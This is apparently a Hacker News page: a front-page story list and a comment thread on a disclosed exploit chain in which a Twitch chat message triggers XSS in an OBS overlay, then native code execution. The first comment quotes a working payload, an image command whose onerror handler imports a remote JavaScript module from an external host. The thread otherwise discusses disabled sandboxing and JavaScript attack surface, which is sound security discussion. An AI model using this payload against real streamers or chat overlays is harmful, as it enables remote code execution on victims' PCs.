Hacker News

Top stories

Live mirror
30 storiesupdated just nowView source snapshot
  1. Does Georgism work? Five years later (astralcodexten.com)
    71comments
  2. DeepSeek Elastic Compute (DSec) (arxiv.org)
    47comments
  3. PipePipe: NewPipe hard fork implementing SponsorBlock (github.com/infinityloop1308)
    174comments
  4. Show HN: Reladraw – A diagram language where you decide where to place things (github.com/reladraw)
    55comments
  5. Go Concurrency Distilled (antonz.org)
    9comments
  6. Evolving programming languages in the AI era (dashbit.co)
    15comments
  7. A searchable library of forgotten public-domain film clips from 1915 onward (movingimagearchive.com)
    25comments
  8. Turning GLM-5.3-Flash into a Jev-like decision model (privatemode.ai)
    11comments
  9. Drawgent: Coding agent on a live Excalidraw canvas (tangled.org/yanndegat.tngl.sh)
    32comments
  10. Reverse-engineering the Intel 8087's tangent algorithm: more than CORDIC (righto.com)
    6comments
  11. Fifteen years later, the Apple Cards origin story (lexontech.org)
    88comments
  12. Welcome to the Medical Clinic at the Interplanetary Relay Station (lightspeedmagazine.com)
    8comments
  13. Promising discoveries about the potential for life on one of Saturn’s icy moons (fu-berlin.de)
    11comments
  14. Biology might not be quantum, but its math is quantumlike (quantamagazine.org)
    5comments
  15. LA Metro has some of the slowest escalators on Earth (basin.la)
    62comments
  16. ASML says it sold 'absolutely nothing' in Europe in 2026 (tomshardware.com)
    429comments
  17. Sousveillance (wikipedia.org)
    —discuss
  18. Modern Object Pascal Introduction for Programmers (castle-engine.io)
    60comments
  19. Generate fonts where every LLM token is the same width (mesh.host)
    7comments
  20. The Evolution of Vending Machines (saturdayeveningpost.com)
    3comments
  21. How I changed teaching after AI managed to do all my homework assignments (thelastsoftwareengineer.substack.com)
    140comments
  22. How one Twitch chat message became code execution on a streamer’s PC (scrt.ch)
    11comments
  23. The Lost Atomic Update on Loongson CPU (jia.je)
    6comments
  24. HomeBody: A humanoid that explores, remembers, and acts on its own (stanford.edu)
    2comments
  25. How to keep enjoying programming in a world of LLMs (haskell.org)
    216comments
  26. Dutch designer made DE9: Closer to the Edit into a playable web-based instrument (creativeboom.com)
    1comments
  27. Breaking Up with Google Play: Why Conversations Is Now Free (gultsch.de)
    254comments
  28. The Rise of Audio AR (dbreunig.com)
    13comments
  29. Reading’s Bayeux Tapestry (diamondgeezer.blogspot.com)
    1comments
  30. Show HN: Jev Plays Pokémon Red (jev-pokemon.vercel.app)
    109comments

How one Twitch chat message became code execution on a streamer’s PC

26 pointsby 1d agoblog.scrt.ch
11 comments
2h agoHN ↗

tldr: XSS on OBS via the message

  !image http://toto.jpg/x'onerror=import('https://ha10.scrt.ch:8080/poc-module.js');a='a
1h agoHN ↗

The interesting part IMO is less the XSS on the streamer's overlay, but the fact that it could escape the browser source web page into local code execution (via a combination of OBS disabling the chromium sandbox, and using an outdated CEF version)

1h agoHN ↗

Deja Vu. I had to submit an issue and fix a similar issue years ago -- it was similarly Twitch chat overlay XSS, but for that they (the streamer) at least tried to strip the tags (but it was a poor JS implementation of PHP strip_tags), and the streamer didn't understand the issue until I crafted a image with onload/onerror to freeze/hang the chat overlay.

1h agoHN ↗

This shouldn't be a problem right? Javascript is by default allowed to execute on your PC in every modern browser. The days where people did not blindly execute arbitrary code from unknown and random sources are far in the past. Now if you don't do that you are considered weird and no websites actually display anything when you attempt to view them.

This is not a bug. This is the the entire design architecture's intent for modern JS application execution based "web". If this was the correct choice for the web then this should not be a problem at all. But we all know it is. The architecture choice forces this. Until we stop arbitrarily executing random third party code this will always happen. And the consequences will get worse and worse as more bare metal features are exposed in to browsers JS virtual machines.

Be the change in the world you want to see. Turn javascript off. Use real native applications that cannot change underneath you.

1h agoHN ↗

In a word, no. If you’re all “ra ra ra JavaScript!” you’re going to be shocked to find out what evil one can accomplish (either now or at various points in the past due to since-patched browser exploits or web platform security oversights) with just HTTP, HTML and CSS. Not only is your pipe dream a pipe dream, and a misinformed one at that, it won’t even come close to completely protecting you. Terms like “code” and “execute” are largely arbitrary. If you want safety, stop letting untrusted payloads enter your machine at all, and that includes Hacker News.

1h agoHN ↗

Look at how many browser exploits need JS, and how many don't. The latter tend to be far more memorable too, specifically for that reason.

JS is a huge attack surface. It's better if it isn't used where it isn't actually needed.

1h agoHN ↗

   > If you’re all “ra ra ra JavaScript!” you’re going to be shocked to find out what evil one can accomplish (either now or at various points in the past due to since-patched browser exploits or web platform security oversights) with just HTTP, HTML and CSS.

There's such a thing as an attack surface. JavaScript with JIT enabled has an attack surface so much larger than HTML and CSS that I cannot believe you're saying this in good faith.

1h agoHN ↗

Fucking absurd. I'll forever hate developers who allow for such _bizarre_ exploit chains to happen. OBS is an OSS project which I believe has received a lot of love throught the years, but having the Chromium sandbox disabled due to authentication with _certain services_ not working with it enabled is asinine. Don't even want to imagine the other problems the project might have waiting to be exploited.

Sure, if the plugin developer sanitized the comments before inserting them, this wouldn't have happened _this way_, but having a browser engine two years outdated (for a reason which IMO is absolutely reasonable compared to other situations before) and having the Chromium sandbox completely disabled with nothing to substitute it is crazy in a software onto which people insert random plugins from the internet to get random functionality.

Hopefully those two changes ship fast to OBS. I may be supporting the project financially in the future if they update their security posture, as I'm generally very fond of OBS.